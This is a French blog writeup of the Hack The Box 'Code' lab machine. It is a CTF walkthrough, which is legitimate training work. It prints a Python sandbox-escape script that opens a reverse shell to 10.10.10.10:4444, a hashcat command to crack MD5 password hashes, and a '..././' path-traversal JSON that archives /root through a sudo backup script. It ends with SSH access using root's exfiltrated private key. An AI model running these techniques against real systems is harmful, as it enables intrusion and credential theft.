Hack The Box : Code (writeup)

Voici un compte rendu sur la box « Code » de Hack The Box. C’est un challenge classé « Facile » se focalisant sur du scripting Python et Bash.

Accès Initial

On commence par réaliser un scan réseau avec Nmap :

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor

Le port 5000 est visiblement ouvert sur un serveur Gunicorn, vérifions cela sur le navigateur :

En effet, on tombe sur un interpreteur Python, ce qui veut dire qu’on pourra exécuter du code python. En essayant plusieurs bout de code, on se rend compte que certains mots sont proscrits :

  • eval
  • exec
  • import
  • open
  • os
  • read
  • system
  • write
  • subprocess

Si on utilise ces mots, le script ne sera pas exécuté. Commençons par lister les modules présents :

for nom_module in sys.modules:
    print(nom_module)

Il y a quand mêmes quelques biliothèques importantes comme os et sys. Avec cela on a assez d’informations pour fabriquer un script :

g = globals()
sys = g['sys']
mods = sys.modules

for k in list(mods):
    m = mods[k]
    if hasattr(m, 'find_spec'):
        spec = m.find_spec
        break

sock = spec('socket').loader.load_module()
pty = spec('pty').loader.load_module()
ozsmod = [m for m in mods.values() if hasattr(m, 'dup2') and hasattr(m, 'exe'+'cv')][0]

s = sock.socket(sock.AF_INET, sock.SOCK_STREAM)
s.settimeout(None)
s.connect(("10.10.10.10", 4444))

fd = s.fileno()
for i in range(3):
    ozsmod.dup2(fd, i)

pty.spawn("/bin/sh")

Si un listener est bien lancé sur le port 4444, cliquer sur « Run » devrait fournir un reverseshell.

Premier drapeau : user.txt

Ensuite, on va essayer d’établir une persistence.

Dans le dossier courant de l’application, on repère instance/database.db, si on fait un simple cat on peut récupèrer les deux utilisateurs présents dedans :

Les hashs des mot de passe son simplements chiffrés avec MD5, on va alors utiliser hashcat et un dictionnaire connu pour tenter de les dévoiler :

hashcat -m 0 code.hash /usr/share/wordlists/rockyou.txt

7***************:de************             
3***************:na*****************

Grâce au mot de passe trouvé pour Martin, on peut maintenant se connecter avec SSH et récupérer le premier drapeau user.txt.

Élevation de privilèges

On remarque que martin possède un droit sudo :

(ALL : ALL) NOPASSWD: /usr/bin/backy.sh

Cela veut dire que martin peut lancer le script backy.sh en tant que root, voyons ce qu’il contient :

#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"

Dans le home de l’utilisateur se trouve aussi un fichier backup/task.json qui semble être lié au script ci dessus :

{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/app-production/app"
        ],

        "exclude": [
                ".*"
        ]
}

Ce fichier « json » est en réalité utiliser par le script pour définir des options de sauvegardes qui seront passées à /usr/bin/backy. Il subit un peu de processing, notamment il oblige à ce que « directories_to_archive » contiennent « /home/ » ou « /var/ » et il enlève aussi toutes les mentions de « ../ » dans les chemins.

Ces deux « bloquages » n’en sont en fait pas vraiment. Le filtrage de « ../ » faisant qu’une seule passe, on peut simplement utiliser « …/./ ». Voici un exemple permettant de créer une archive de /root :

{
        "destination": "/home/martin/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/..././..././root"
        ]
}

Une archive est alors créée, il ne reste plus qu’a l’extraire :

tar -jxvf code_home_.._.._root_2025_July.tar.bz2

On a maintenant une copie de /root (et du drapeau par ailleurs) !

Second drapeau : root.txt

Dans les fichiers récupérés grâce au script, on voit /root/.ssh/id_rsa, il s’agit d’une clé privée. Si on l’exporte on pourra peut être s’en servir pour se connecter via SSH.

ssh -i id_rsa root@CIBLE

Avec cet accès nous sommes en capacité de faire :

cat root.txt

Conslusion

Trouver une manière de contourner ces filtres (même si il y en a peu) quand on touche pas quotidiennement du python, c’est très chronophage ! Quand au vecteur de PE, il etait très basique et faisait contraste avec l’accès initial.

Florent
Florent

Passionné de nouvelles technologies depuis mon enfance j'aime partager mes avis, connaissances ou expériences dans ce domaine.

Articles: 17

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *